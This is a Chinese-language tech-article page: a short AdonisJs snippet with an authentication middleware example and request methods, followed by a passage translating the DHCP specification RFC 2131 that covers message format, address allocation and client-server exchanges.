依附于特定路由或路由组并为之执行中间件在文件夹内创建app/Middleware并在文件内注册start/kernel.js。例如,我们可以创建命名身份验证中间件,以便只有登录用户才能访问该站点。'use strict'; class AuthRequired { async handle ({ auth, response }, next) { try { await auth.check() } catch (error) { return response.json({ error: "Unauthorized access" }) } // call next() to advance the request await next() } } module.exports = AuthRequired; 复制代码请求方法请求对象提供获取请求信息的方法。我们可以在start/route.js文件中创建到 URL 的路由。AdonisJs 使用全局中间件为任何 URL 请求创建一个请求对象。全局中间件默认完成这个BodyParser。请求方式有很多种。下面我们列举几个:request.all() :返回一个包含所有请求数据(包括查询参数和请求体数据)的对象。request.get() :返回包含查询参数数据的对象。request.post() :返回一个对象,其中包含来自提交表单的请求正文数据。request.input(key) :返回指定键的值。
文章
存储  ·  前端开发  ·  JavaScript  ·  NoSQL  ·  中间件  ·  API  ·  PHP  ·  数据库  ·  Redis  ·  网络架构
2023-03-03
DHCP:动态主机配置协议详解
RFC2131:Dynamic Host Configuration Protocol,March 1997本备忘录的状态本文档为 Internet 社区指定了 Internet 标准跟踪协议,并请求讨论和改进建议。本协议的标准化状态和现状请参考当前版本的《互联网官方协议标准》(STD 1)。本备忘录的分发不受限制。梗概动态主机配置协议 (Dynamic Host Configuration Protocol,DHCP) 提供了一个框架,用于将配置信息传递给 TCP/IP 网络上的主机。DHCP 基于引导协议 (Bootstrap Protocol,BOOTP) [7],增加了自动分配可重用网络地址和附加配置选项的能力 [19]。DHCP 捕获 BOOTP 中继代理的行为 [7, 21],并且 DHCP 参与者可以与 BOOTP 参与者进行互操作 [9]。1、 简介动态主机配置协议 (DHCP) 为 Internet 主机提供配置参数。DHCP 由两部分组成:用于将特定于主机的配置参数从 DHCP 服务器传送到主机的协议和用于为主机分配网络地址的机制。DHCP 建立在客户端/服务器(C/S)模型上,其中指定的 DHCP 服务器主机分配网络地址并将配置参数传递给动态配置的主机。在本文档的其余部分,术语“服务器/server”是指通过 DHCP 提供初始化参数的主机,而术语“客户端/client”是指从 DHCP 服务器请求初始化参数的主机。除非系统管理员明确配置,否则主机不应充当 DHCP 服务器。如果允许随机主机响应 DHCP 请求,则 Internet 中硬件和协议实现的多样性将妨碍可靠操作。例如,IP 需要在协议实现软件中设置许多参数。由于 IP 可用于许多不同类型的网络硬件,因此无法猜测或假定这些参数的值具有正确的默认值。此外,分布式地址分配方案依赖于用于发现已在使用的地址的轮询/防御机制。IP 主机可能无法始终保护自己的网络地址,因此这种分布式地址分配方案无法保证避免分配重复的网络地址。DHCP 支持三种 IP 地址分配机制。在“自动分配/automatic allocation”中,DHCP 为客户端分配一个永久的 IP 地址。在“动态分配/dynamic allocation”中,DHCP 会在有限的时间段内(或直到客户端明确放弃该地址)为客户端分配 IP 地址。在“手动分配/manual allocation”中,客户端的 IP 地址由网络管理员分配,DHCP 仅用于将分配的地址传送给客户端。特定网络将使用一种或多种这些机制,具体取决于网络管理员的策略。动态分配是三种机制中唯一一种允许自动重用分配给它的客户端不再需要的地址。因此,动态分配对于将地址分配给仅临时连接到网络的客户端或用于在不需要永久 IP 地址的一组客户端之间共享有限的 IP 地址池特别有用。动态分配也可能是将 IP 地址分配给永久连接到 IP 地址非常稀缺的网络的新客户端的不错选择,因此在旧客户端离开时回收它们很重要。手动分配允许使用 DHCP 来消除在需要(出于任何原因)在 DHCP 机制之外管理 IP 地址分配的环境中,手动配置具有 IP 地址的主机的容易出错的过程。DHCP 消息的格式基于 BOOTP 消息的格式,以捕获作为 BOOTP 规范 [7, 21] 一部分描述的 BOOTP 中继代理行为,并允许现有 BOOTP 客户端与 DHCP 服务器的互操作性。使用 BOOTP 中继代理消除了在每个物理网段上都有 DHCP 服务器的必要性。1.1、 对 RFC 1541 的更改本文档更新了出现在 RFC1541 中的 DHCP 协议规范。添加了新的 DHCP 消息类型 DHCPINFORM;详见 3.4、4.3 和 4.4 节。用于向 DHCP 服务器识别 DHCP 客户端的分类机制已扩展为包括第 4.2 和 4.3 节中定义的“厂商/vendor”类。已删除最短租用时间限制。最后,由于在 DHCP 互操作性测试中获得的经验,对文本进行了许多编辑更改以澄清文本。1.2、 相关工作有几种 Internet 协议和相关机制可以解决动态主机配置问题的某些部分。反向地址解析协议 (Reverse Address Resolution Protocol,RARP) [10](通过动态 RARP (Dynamic RARP,DRARP) [5] 中定义的扩展)明确解决了网络地址发现问题,并包括自动 IP 地址分配机制。简单文件传输协议 (Trivial File Transfer Protocol,TFTP) [20] 提供从引导服务器传输引导映像。 Internet 控制消息协议 (Internet Control Message Protocol,ICMP) [16] 提供通过“ICMP 重定向”消息通知主机附加路由器。ICMP还可以通过“ICMP掩码请求”消息提供子网掩码信息,通过(过时的)“ICMP信息请求”消息提供其他信息。主机可以通过 ICMP 路由器发现机制来定位路由器 [8]。BOOTP 是一种用于收集配置信息的传输机制。BOOTP 也是可扩展的,官方扩展 [17] 已经定义了几个配置参数。Morgan 已提议扩展 BOOTP 以实现动态 IP 地址分配 [15]。麻省理工学院 Athena 项目使用的网络信息协议 (Network Information Protocol,NIP) 是一种用于动态 IP 地址分配的分布式机制 [19]。资源定位协议(Resource Location Protocol,RLP)[1] 提供更高级别服务的定位。Sun Microsystems 无盘工作站使用引导程序,该程序采用 RARP、TFTP 和称为“bootparams”的 RPC 机制将配置信息和操作系统代码传送到无盘主机。(Sun Microsystems、Sun Workstation 和 SunOS 是 Sun Microsystems, Inc. 的商标)某些 Sun 网络还使用 DRARP 和自动安装机制来自动配置现有网络中的新主机。在其他相关工作中,路径最小传输单元(minimum transmission unit,MTU)发现算法可以确定任意互联网路径的 MTU [14]。地址解析协议 (Address Resolution Protocol,ARP) 已被提议作为用于资源定位和选择的传输协议 [6]。最后,主机要求 RFC [3, 4] 提到了主机重新配置的具体要求,并建议了无盘主机的初始配置方案。1.3、 问题定义和说明DHCP 旨在为 DHCP 客户端提供主机要求 RFC 中定义的配置参数。通过 DHCP 获取参数后,DHCP 客户端应该能够与 Internet 上的任何其他主机交换数据包。DHCP 提供的 TCP/IP 堆栈参数在附录 A 中列出。对于新初始化的客户端,并非所有这些参数都是必需的。客户端和服务器可以协商仅传输客户端所需的或特定于特定子网的那些参数。DHCP 允许但不需要配置与 IP 协议没有直接关系的客户端参数。DHCP 也不解决新配置的客户端向域名系统 (Domain Name System,DNS) [12, 13] 的注册问题。DHCP 不适用于配置路由器。1.4、 要求在本文档中,用于定义特定要求重要性的词语大写。这些话是:“必须/MUST”这个词或形容词“REQUIRED”表示该项目是本规范的绝对要求。“禁止/MUST NOT”这句话的意思是该项目是本规范的绝对禁止。“应该/SHOULD”这个词或形容词“推荐/RECOMMENDED”的意思是在特定情况下可能存在合理的理由来忽略这个项目,但在选择不同的课程之前应该理解全部含义并仔细权衡案例。“不应该/SHOULD NOT”这句话意味着在特定情况下,当列出的行为可接受甚至有用时,可能存在正当理由,但在实施此标签描述的任何行为之前,应了解全部含义并仔细权衡案例。“可能/MAY”这个词或形容词“OPTIONAL”意味着这个项目是真正可选的。例如,一个厂商可能会选择包含该项目,因为特定市场需要它或因为它增强了产品;另一个厂商可能会省略相同的项目。1.5、 术语本文档使用以下术语:“DHCP 客户端”DHCP 客户端是使用 DHCP 获取网络地址等配置参数的 Internet 主机。“DHCP 服务器”DHCP 服务器是将配置参数返回给 DHCP 客户端的 Internet 主机。 “BOOTP 中继代理”BOOTP 中继代理或中继代理是在 DHCP 客户端和 DHCP 服务器之间传递 DHCP 消息的 Internet 主机或路由器。DHCP 旨在使用与 BOOTP 协议规范中指定的相同的中继代理行为。“绑定/binding”绑定是一组配置参数,至少包括一个 IP 地址,与 DHCP 客户端关联或“绑定到”DHCP 客户端。绑定由 DHCP 服务器管理。1.6、 设计目标以下列表给出了 DHCP 的一般设计目标。** DHCP 应该是一种机制而不是一种策略。DHCP 必须允许本地系统管理员在需要时控制配置参数;例如,本地系统管理员应该能够在需要时执行有关分配和访问本地资源的本地策略。** 客户端不需要手动配置。每个客户端都应该能够在没有用户干预的情况下发现适当的本地配置参数,并将这些参数合并到自己的配置中。** 网络不需要为单个客户端手动配置。在正常情况下,网络管理员不必输入任何每个客户端的配置参数。** DHCP 不应要求每个子网上都有服务器。为了实现规模和经济,DHCP 必须跨路由器或通过 BOOTP 中继代理的干预工作。** DHCP 客户端必须准备好接收对配置参数请求的多个响应。某些安装可能包括多个重叠的 DHCP 服务器,以增强可靠性并提高性能。** DHCP 必须与静态配置的非参与主机和现有网络协议实现共存。** DHCP 必须与 RFC 951 和 RFC 1542 [21] 描述的 BOOTP 中继代理行为互操作。** DHCP 必须为现有的 BOOTP 客户端提供服务。以下列表给出了特定于网络层参数传输的设计目标。DHCP 必须:** 保证任何特定网络地址不会同时被多个 DHCP 客户端使用,** 在 DHCP 客户端重新启动后保留 DHCP 客户端配置。应尽可能为 DHCP 客户端分配相同的配置参数(例如,网络地址)以响应每个请求,** 在服务器重新启动时保留 DHCP 客户端配置,并且只要有可能,尽管 DHCP 机制重新启动,DHCP 客户端仍应分配相同的配置参数,** 允许将配置参数自动分配给新客户端,以避免为新客户端手动配置,** 支持将配置参数固定或永久分配给特定客户端。2、 协议概要从客户端的角度来看,DHCP 是 BOOTP 机制的扩展。此行为允许现有 BOOTP 客户端与 DHCP 服务器互操作,而无需对客户端的初始化软件进行任何更改。RFC 1542 [2] 详细说明了 BOOTP 和 DHCP 客户端和服务器 [9] 之间的交互。有一些新的、可选的事务可以优化 DHCP 客户端和服务器之间的交互,这些在第 3 节和第 4 节中进行了描述。图 1 给出了 DHCP 消息的格式,表 1 描述了 DHCP 消息中的每个字段。括号中的数字表示以八位字节表示的每个字段的大小。图中给出的字段名称将在整个文档中用于指代 DHCP 消息中的字段。DHCP 和 BOOTP 之间有两个主要区别。首先,DHCP 定义了一种机制,通过该机制可以为客户端分配有限租用的网络地址,从而允许将网络地址连续重新分配给不同的客户端。其次,DHCP 为客户端提供了获取其运行所需的所有 IP 配置参数的机制。DHCP 在术语中引入了一个小的变化,旨在阐明其中一个字段的含义。BOOTP 中的“厂商扩展/vendor extensions”字段已被重命名为 DHCP 中的“选项/options”字段。类似地,在 BOOTP“厂商扩展/vendor extensions”字段中使用的标记数据项(以前称为“厂商扩展”)现在简称为“选项”。 图 1:DHCP 消息的格式DHCP 定义了一个新的“客户端标识符”选项,用于将显式客户端标识符传递给 DHCP 服务器。此更改消除了 BOOTP 消息中“chaddr”字段的过载,其中“chaddr”既用作传输 BOOTP 回复消息的硬件地址,也用作客户端标识符。“客户端标识符”是一个不透明的值,不会被服务器解释;例如,“客户端标识符”可能包含一个硬件地址,与“chaddr”字段的内容相同,或者它可能包含另一种类型的标识符,例如 DNS 名称。DHCP 客户端选择的“客户端标识符”对于该客户端所连接的子网中的该客户端必须是唯一的。如果客户端在一个消息中使用“客户端标识符”,它必须在所有后续消息中使用相同的标识符,以确保所有服务器正确识别客户端。DHCP 阐明了“siaddr”字段的解释,即在客户端引导过程的下一步中使用的服务器地址。如果 DHCP 服务器准备提供下一个引导服务(例如,操作系统可执行映像的交付),则 DHCP 服务器可以在“siaddr”字段中返回其自己的地址。DHCP 服务器总是在“服务器标识符”选项中返回它自己的地址。表 1:DHCP 消息中的字段说明“options” 字段现在是可变长度的。DHCP 客户端必须准备好接收带有至少 312 个八位字节长度的“选项”字段的 DHCP 消息。此要求意味着 DHCP 客户端必须准备好接收最多 576 个八位字节的消息,这是 IP 主机必须准备接受的最小 IP 数据报大小 [3]。DHCP 客户端可以通过“最大 DHCP 消息大小”选项协商使用更大的 DHCP 消息。选项字段可以进一步扩展到“file”和“sname”字段。在客户端使用 DHCP 进行初始配置的情况下(在客户端的 TCP/IP 软件完全配置之前),DHCP 要求创造性地使用客户端的 TCP/IP 软件和对 RFC 1122 的自由解释。TCP/IP 软件应该接受并将IP地址配置之前交付给客户端硬件地址的任何IP数据包转发到IP层;在配置 TCP/IP 软件之前,DHCP 服务器和 BOOTP 中继代理可能无法将 DHCP 消息传递给无法接受硬件单播数据报的客户端。为了解决一些在 TCP/IP 软件配置之前无法接受 IP 单播数据报的客户端,DHCP 使用了“flags”字段 [21]。最左边的位定义为 BROADCAST (B) 标志。此标志的语义在本文档的第 4.1 节中讨论。标志字段的其余位保留供将来使用。它们必须由客户端设置为零,并被服务器和中继代理忽略。图 2 给出了“标志”字段的格式。图 2:“flags” 字段的格式​​B:广播标志 MBZ:必须为零(保留以备将来使用)2.1、 配置参数仓库DHCP 提供的第一个服务是为网络客户端提供网络参数的持久存储。DHCP 持久化存储的模型是 DHCP 服务为每个客户端存储一个 key-value 条目,其中 key 是某个唯一标识符(例如,IP 子网编号和子网内的唯一标识符),该值包含配置客户端的参数。例如,密钥可能是一对(IP-子网号,硬件地址)(注意,“硬件地址”应该按硬件类型输入,以适应位序问题导致的硬件地址可能重复在混合媒体、桥接网络中)允许在不同子网上串行或并发重用硬件地址,以及可能不是全局唯一的硬件地址。或者,密钥可能是这对(IP-子网号、主机名),允许服务器智能地将参数分配给已移动到不同子网或已更改硬件地址的 DHCP 客户端(可能是因为网络接口故障和被取代)。除非客户端使用“客户端标识符”选项明确提供标识符,否则该协议定义密钥将是(IP 子网号、硬件地址)。客户端可以查询 DHCP 服务以检索其配置参数。配置参数存储库的客户端接口由用于请求配置参数的协议消息和来自携带配置参数的服务器的响应组成。2.2、 网络地址的动态分配DHCP 提供的第二项服务是为客户端分配临时或永久网络 (IP) 地址。网络地址动态分配的基本机制很简单:客户端请求使用某个地址一段时间。分配机制(DHCP 服务器的集合)保证不会在请求的时间内重新分配该地址,并在每次客户端请求地址时尝试返回相同的网络地址。在本文档中,将网络地址分配给客户端的时间段称为“租期/lease”[11]。客户端可以通过后续请求延长其租期。当客户端不再需要该地址时,客户端可以发布消息将地址释放回服务器。客户可以通过要求无限租用来要求永久分配。即使在分配“永久/permanent”地址时,服务器也可以选择给出冗长但非无限的租约,以允许检测客户端已离开的事实。在某些环境中,由于可用地址耗尽,需要重新分配网络地址。在这种环境中,分配机制将重用租期已到期的地址。服务器应使用配置信息存储库中可用的任何信息来选择要重用的地址。例如,服务器可以选择最近最少分配的地址。作为一致性检查,分配服务器应该在分配地址之前探测重用的地址,例如,使用 ICMP 回显请求,客户端应该探测新接收的地址,例如,使用 ARP。3、 客户端-服务器协议DHCP 使用 RFC 951 中定义并在表 1 和图 1 中给出的 BOOTP 消息格式。从客户端发送到服务器的每个 DHCP 消息的“op”字段包含 BOOTREQUEST。BOOTREPLY 用于从服务器发送到客户端的每个 DHCP 消息的“op”字段。DHCP 消息的“options”字段的前四个八位字节分别包含(十进制)值 99、130、83 和 99(这与 RFC 1497 [17] 中定义的魔法 cookie 相同)。“options” 字段的其余部分由称为“选项”的标记参数列表组成。RFC 1497 中列出的所有“厂商扩展”也是 DHCP 选项。RFC 1533 提供了为与 DHCP 一起使用而定义的完整选项集。到目前为止已经定义了几个选项。每个 DHCP 消息中必须包含一个特定选项——“DHCP 消息类型”选项。此选项定义 DHCP 消息的“type”。根据 DHCP 消息类型,可能允许、需要或不允许其他选项。在本文档中,包含“DHCP 消息类型”选项的 DHCP 消息将通过消息类型来引用;例如,具有“DHCP 消息类型”选项类型 1 的 DHCP 消息将被称为“DHCPDISCOVER”消息。3.1、 客户端-服务器交互——分配网络地址以下客户端和服务器之间协议交换的摘要参考了表 2 中描述的 DHCP 消息。图 3 中的时间线图显示了典型客户端-服务器交互中的时序关系。如果客户端已经知道它的地址,可以省略一些步骤;这种简短的交互在第 3.2 节中进行了描述。1. 客户端在其本地物理子网上广播 DHCPDISCOVER 消息。 DHCPDISCOVER 消息可以包括建议网络地址和租用期限值的选项。BOOTP 中继代理可能会将消息传递到不在同一物理子网上的 DHCP 服务器。2. 每个服务器都可以使用 DHCPOFFER 消息进行响应,该消息在“yiaddr”字段中包含可用网络地址(以及 DHCP 选项中的其他配置参数)。服务器不需要保留提供的网络地址,尽管如果服务器避免将提供的网络地址分配给另一个客户端,协议将更有效地工作。当分配一个新地址时,服务器应该检查提供的网络地址是否已经被使用;例如,服务器可以使用 ICMP Echo Request 探测提供的地址。服务器应该被实现,以便网络管理员可以选择禁用对新分配地址的探测。服务器将 DHCPOFFER 消息传输到客户端,必要时使用 BOOTP 中继代理。表 2:DHCP 消息图 3:分配新网络地址时 DHCP 客户端和服务器之间交换的消息的时间线图3. 客户端从一台或多台服务器接收一个或多个 DHCPOFFER 消息。客户端可以选择等待多个响应。客户端根据 DHCPOFFER 消息中提供的配置参数,选择一台服务器来请求配置参数。客户端广播一个 DHCPREQUEST 消息,该消息必须包括“服务器标识符”选项以指示它选择了哪个服务器,并且可以包括指定所需配置值的其他选项。“requested IP address” 选项必须设置为来自服务器的 DHCPOFFER 消息中的 “yiaddr” 值。此 DHCPREQUEST 消息通过 DHCP/BOOTP 中继代理进行广播和中继。为了帮助确保任何 BOOTP 中继代理将 DHCPREQUEST 消息转发到接收原始 DHCPDISCOVER 消息的同一组 DHCP 服务器,DHCPREQUEST 消息必须在 DHCP 消息头的“secs”字段中使用相同的值并发送到相同的 IP广播地址作为原始 DHCPDISCOVER 消息。如果客户端没有收到 DHCPOFFER 消息,则客户端超时并重新传输 DHCPDISCOVER 消息。4. 服务器接收来自客户端的 DHCPREQUEST 广播。 DHCPREQUEST 消息未选择的那些服务器使用该消息作为客户端拒绝该服务器提供的通知。在 DHCPREQUEST 消息中选择的服务器将客户端的绑定提交到持久存储,并使用包含请求客户端的配置参数的 DHCPACK 消息进行响应。“客户端标识符”或“chaddr”与分配的网络地址的组合构成了客户端租用的唯一标识符,客户端和服务器都使用它来标识任何 DHCP 消息中引用的租用。DHCPACK 消息中的任何配置参数不应与客户端正在响应的较早 DHCPOFFER 消息中的配置参数冲突。服务器此时不应检查提供的网络地址。DHCPACK 消息中的“yiaddr”字段用选定的网络地址填充。如果选择的服务器不能满足 DHCPREQUEST 消息(例如,请求的网络地址已被分配),服务器应该响应 DHCPNAK 消息。服务器可以选择将 DHCPOFFER 消息中提供给客户端的地址标记为不可用。如果服务器没有收到来自客户端的 DHCPREQUEST 消息,则服务器应该在 DHCPOFFER 消息中将提供给客户端的地址标记为可用。5. 客户端收到带有配置参数的 DHCPACK 消息。客户端应该对参数(例如,分配的网络地址的 ARP)执行最终检查,并记录 DHCPACK 消息中指定的租用期限。至此,客户端配置完毕。如果客户端检测到地址已被使用(例如,通过使用 ARP),则客户端必须向服务器发送 DHCPDECLINE 消息并重新启动配置过程。客户端应该在重新启动配置过程之前等待至少十秒钟,以避免在循环的情况下过多的网络流量。如果客户端收到 DHCPNAK 消息,则客户端重新启动配置过程。如果客户端未收到 DHCPACK 或 DHCPNAK 消息,则客户端超时并重新传输 DHCPREQUEST 消息。客户端根据4.1节的重传算法重传DHCPREQUEST。客户端应该选择重传 DHCPREQUEST 足够的次数,以提供足够的可能性联系服务器,而不会导致客户端(和该客户端的用户)在放弃之前等待太久;例如,在 4.1 节中描述的重新传输的客户端可能会在重新启动初始化过程之前重新传输 DHCPREQUEST 消息四次,总共延迟 60 秒。如果客户端在使用重传算法后既没有收到DHCPACK 也没有收到DHCPNAK 消息,则返回INIT 状态并重新开始初始化过程。客户端应该通知用户初始化过程失败并正在重新启动。6. 客户端可以通过向服务器发送 DHCPRELEASE 消息来选择放弃对网络地址的租用。客户端使用其“客户端标识符”或 DHCPRELEASE 消息中的“chaddr”和网络地址来标识要释放的租约。如果客户端在获得租用时使用了“客户端标识符”,则它必须在 DHCPRELEASE 消息中使用相同的“客户端标识符”。3.2、 客户端-服务器交互——重用之前分配的网络地址如果客户端记住并希望重用先前分配的网络地址,则客户端可以选择省略上一节中描述的某些步骤。图 4 中的时间线图显示了客户端重用先前分配的网络地址的典型客户端-服务器交互中的时序关系。1. 客户端在其本地子网上广播 DHCPREQUEST 消息。该消息在“请求的 IP 地址”选项中包含客户端的网络地址。由于客户端尚未收到其网络地址,因此它不得填写“ciaddr”字段。BOOTP 中继代理将消息传递到不在同一子网上的 DHCP 服务器。如果客户端使用“客户端标识符”来获取其地址,则客户端必须在 DHCPREQUEST 消息中使用相同的“客户端标识符”。2. 知道客户端配置参数的服务器向客户端响应 DHCPACK 消息。 服务器不应该检查客户端的网络地址是否已经被使用;此时客户端可能会响应 ICMP Echo Request 消息。图 4:重用先前分配的网络地址时 DHCP 客户端和服务器之间交换的消息的时间线图如果客户端的请求无效(例如,客户端已移动到新的子网),服务器应该向客户端响应 DHCPNAK 消息。如果不能保证其信息准确无误,则服务器不应响应。例如,一个服务器识别另一个服务器拥有的过期绑定请求,除非服务器使用显式机制来维护服务器之间的一致性,否则不应该用 DHCPNAK 响应。如果 DHCPREQUEST 消息中的 “giaddr” 为 0x0,则客户端与服务器位于同一子网上。服务器必须向 0xffffffff 广播地址广播 DHCPNAK 消息,因为客户端可能没有正确的网络地址或子网掩码,并且客户端可能没有响应 ARP 请求。否则,服务器必须将 DHCPNAK 消息发送到 BOOTP 中继代理的 IP 地址,如“giaddr”中记录的那样。继而,中继代理会将消息直接转发到客户端的硬件地址,这样即使客户端移动到新网络,也可以传递 DHCPNAK。3. 客户端收到带有配置参数的 DHCPACK 消息。客户端对参数执行最终检查(如第 3.1 节所述),并记录 DHCPACK 消息中指定的租用期限。特定租用由“客户端标识符”或“chaddr”和网络地址隐式标识。至此,客户端配置完毕。如果客户端检测到 DHCPACK 消息中的 IP 地址已被使用,则客户端必须向服务器发送 DHCPDECLINE 消息并通过请求新的网络地址重新启动配置过程。此操作对应于客户端在 DHCP 状态图中移动到 INIT 状态,这在 4.4 节中进行了描述。如果客户端收到一个 DHCPNAK 消息,它就不能重用它记住的网络地址。它必须通过重新启动配置过程来请求一个新地址,这次使用第 3.1 节中描述的(非缩写)过程。此操作也对应于客户端在 DHCP 状态图中移动到 INIT 状态。如果客户端既没有收到 DHCPACK 也没有收到 DHCPNAK 消息,则客户端超时并重新传输 DHCPREQUEST 消息。客户端根据4.1节的重传算法重传DHCPREQUEST。客户端应该选择重传 DHCPREQUEST 足够的次数,以提供足够的可能性联系服务器,而不会导致客户端(和该客户端的用户)在放弃之前等待太久;例如,在 4.1 节中描述的重新传输的客户端可能会在重新启动初始化过程之前重新传输 DHCPREQUEST 消息四次,总共延迟 60 秒。如果客户端在使用重传算法后既没有收到 DHCPACK 消息也没有收到 DHCPNAK 消息,则客户端可以选择使用之前分配的网络地址和配置参数用于未到期租用的剩余部分。这对应于在图 5 所示的客户端状态转换图中移动到 BOUND 状态。4. 客户端可以通过向服务器发送 DHCPRELEASE 消息来选择放弃对网络地址的租用。客户端使用其“客户端标识符”或 DHCPRELEASE 消息中的“chaddr”和网络地址来标识要释放的租约。请注意,在这种情况下,客户端在本地保留其网络地址,客户端通常不会在正常关闭期间放弃其租用。只有在客户端明确需要放弃其租约的情况下,例如,客户端将被移动到不同的子网,客户端才会发送 DHCPRELEASE 消息。3.3、 时间值的解释和表示客户端在固定的时间段(可能是无限的)内获得网络地址的租约。在整个协议中,时间以秒为单位表示。0xffffffff 的时间值被保留用来表示“无穷大”。由于客户端和服务器可能没有同步时钟,时间在 DHCP 消息中表示为相对时间,以相对于客户端的本地时钟进行解释。在无符号 32 位字中以秒为单位表示相对时间给出了从 0 到大约 100 年的相对时间范围,这足以使用 DHCP 测量相对时间。上一段中给出的租用期限解释算法假设客户端和服务器时钟相对于彼此是稳定的。如果两个时钟之间存在偏差,服务器可能会在客户端之前认为租用已过期。作为补偿,服务器可以向客户端返回比服务器提交给其本地客户端信息数据库更短的租用期限。3.4、 获取外部配置网络地址的参数如果客户端通过某种其他方式(例如,手动配置)获得了网络地址,则它可以使用 DHCPINFORM 请求消息来获取其他本地配置参数。接收 DHCPINFORM 消息的服务器使用适合客户端的任何本地配置参数构造 DHCPACK 消息,而无需分配新地址、检查现有绑定、填写“yiaddr”或包括租用时间参数。服务器应该将 DHCPACK 回复单播到 DHCPINFORM 消息的“ciaddr”字段中给出的地址。服务器应该检查 DHCPINFORM 消息中的网络地址的一致性,但不能检查现有的租约。服务器形成包含请求客户端的配置参数的 DHCPACK 消息,并将 DHCPACK 消息直接发送到客户端。3.5、 DHCP客户端参数并非所有客户端都需要对附录 A 中列出的所有参数进行初始化。使用两种技术来减少从服务器传输到客户端的参数数量。首先,大多数参数在主机要求 RFC 中定义了默认值;如果客户端没有从服务器接收到覆盖默认值的参数,则客户端使用这些默认值。其次,在其初始 DHCPDISCOVER 或 DHCPREQUEST 消息中,客户端可以向服务器提供客户端感兴趣的特定参数列表。如果客户端在 DHCPDISCOVER 消息中包含参数列表,则它必须在任何后续 DHCPREQUEST 中包含该列表消息。客户端应该包括“最大 DHCP 消息大小”选项,让服务器知道服务器可以制作多大的 DHCP 消息。返回给客户端的参数可能仍然超过分配给 DHCP 消息中选项的空间。在这种情况下,两个额外的选项标志(必须出现在消息的 “options” 字段中)表明 “file” 和 “sname” 字段将用于选项。客户端可以通过包含“参数请求列表”选项来通知服务器客户端感兴趣的配置参数。此选项的数据部分明确列出了标签号请求的选项。此外,客户端可以在 DHCPDISCOVER 消息中建议网络地址和租用时间的值。客户端可以包括“请求的IP地址”选项来建议分配特定的IP地址,并且可以包括“IP地址租用时间”选项来建议它想要的租用时间。在 DHCPDISCOVER 或 DHCPREQUEST 消息中允许在配置参数中表示“hints”的其他选项。但是,服务器可能会忽略其他选项,因此多个服务器可能不会为某些选项返回相同的值。“requested IP address” 选项仅在客户端验证先前获得的网络参数时填写在 DHCPREQUEST 消息中。仅当正确配置了处于 BOUND、RENEWING 或 REBINDING 状态的 IP 地址时,客户端才会填写“ciaddr”字段。如果服务器收到带有无效“请求的 IP 地址”的 DHCPREQUEST 消息,服务器应该用 DHCPNAK 消息响应客户端,并可以选择向系统管理员报告问题。服务器可能会在“message”选项中包含错误消息。3.6、 在具有多个接口的客户端中使用 DHCP具有多个网络接口的客户端必须通过每个接口独立使用 DHCP 来获取这些单独接口的配置信息参数。3.7、 客户端什么时候应该使用 DHCP每当本地网络参数可能发生变化时,客户端应该使用 DHCP 重新获取或验证其 IP 地址和网络参数;例如,在系统启动时或与本地网络断开连接后,因为本地网络配置可能会在客户端或用户不知情的情况下发生变化。如果客户端知道先前的网络地址并且无法联系本地 DHCP 服务器,则客户端可能会继续使用先前的网络地址,直到该地址的租用期到期。如果租用期在客户端可以联系 DHCP 服务器之前到期,则客户端必须立即停止使用先前的网络地址,并且可能会将问题通知本地用户。4、 DHCP 客户端-服务器协议规范在本节中,我们假设 DHCP 服务器有一个网络地址块,它可以从中满足对新地址的请求。每个服务器还在本地永久存储中维护分配地址和租用的数据库。4.1、 构造和发送DHCP报文DHCP 客户端和服务器都通过在消息的固定格式部分填充字段并在可变长度选项区域中附加标记数据项来构建 DHCP 消息。选项区域首先包括一个四个八位字节的“magic cookie”(在第 3 节中进行了描述),然后是选项。最后一个选项必须始终是 “end” 选项。DHCP 使用 UDP 作为其传输协议。从客户端到服务器的 DHCP 消息被发送到“DHCP 服务器”端口 (67),而从服务器到客户端的 DHCP 消息被发送到“DHCP 客户端”端口 (68)。具有多个网络地址的服务器(例如,多宿主主机)可以在传出的 DHCP 消息中使用其任何网络地址。“服务器标识符”字段既用于标识 DHCP 消息中的 DHCP 服务器,也用作从客户端到服务器的目标地址。具有多个网络地址的服务器必须准备好接受其任何网络地址作为在 DHCP 消息中标识该服务器的能力。为了适应可能不完整的网络连接,服务器必须选择一个地址作为“服务器标识符”,据服务器所知,该地址可从客户端访问。例如,如果 DHCP 服务器和 DHCP 客户端连接到同一个子网(即,来自客户端的消息中的 “giaddr” 字段为零),服务器应该选择服务器用于通信的 IP 地址。子网作为“服务器标识符”。如果服务器在该子网上使用多个 IP 地址,则可以使用任何此类地址。如果服务器已经通过 DHCP 中继代理接收到消息,服务器应该从接收消息的接口中选择一个地址作为“服务器标识符”(除非服务器有其他更好的信息来做出选择)。DHCP 客户端必须将“服务器标识符”选项中提供的 IP 地址用于对 DHCP 服务器的任何单播请求。客户端在获取其 IP 地址之前广播的 DHCP 消息必须将 IP 标头中的源地址字段设置为 0。如果来自客户端的 DHCP 消息中的“giaddr”字段不为零,则服务器将任何返回消息发送到地址出现在“giaddr”中的 BOOTP 中继代理上的“DHCP 服务器”端口。如果“giaddr”字段为零且“ciaddr”字段不为零,则服务器将 DHCPOFFER 和 DHCPACK 消息单播到“ciaddr”中的地址。如果“giaddr”为零且“ciaddr”为零,并且设置了广播位,则服务器将 DHCPOFFER 和 DHCPACK 消息广播到 0xffffffff。如果广播位未设置且“giaddr”为零且“ciaddr”为零,则服务器将 DHCPOFFER 和 DHCPACK 消息单播到客户端的硬件地址和“yiaddr”地址。在所有情况下,当“giaddr”为零时,服务器将向 0xffffffff 广播任何 DHCPNAK 消息。如果 DHCP 消息中的选项扩展到 “sname” 和 “file” 字段,则 “optionoverload” 选项必须出现在 “options” 字段中,值为 1、2 或 3,如 RFC 1533 中所指定。“option overload”选项出现在“options”字段中,“options”字段中的选项必须以“end”选项终止,并且可以包含一个或多个“pad”选项来填充选项字段。“sname” 和 “file” 字段中的选项(如果按照 “options overload” 选项指示使用)必须以该字段的第一个八位字节开始,必须以一个 “end” 选项结束,并且必须在其后通过 “pad” 选项来填充字段的其余部分。“options”、“sname” 和 “file” 字段中的任何单个选项都必须完全包含在该字段中。“options” 字段中的选项必须首先被解释,以便可以解释任何“options overload”选项。接下来必须解释“文件”字段(如果“options overload”选项指示“file”字段包含 DHCP 选项),然后是“sname”字段。要在“option”标签中传递的值可能太长而无法放入单个选项可用的 255 个八位字节(例如,“路由器”选项中的路由器列表 [21])。除非在选项文档中另有规定,否则选项只能出现一次。客户端将同一选项的多个实例的值连接到一个用于配置的参数列表中。DHCP 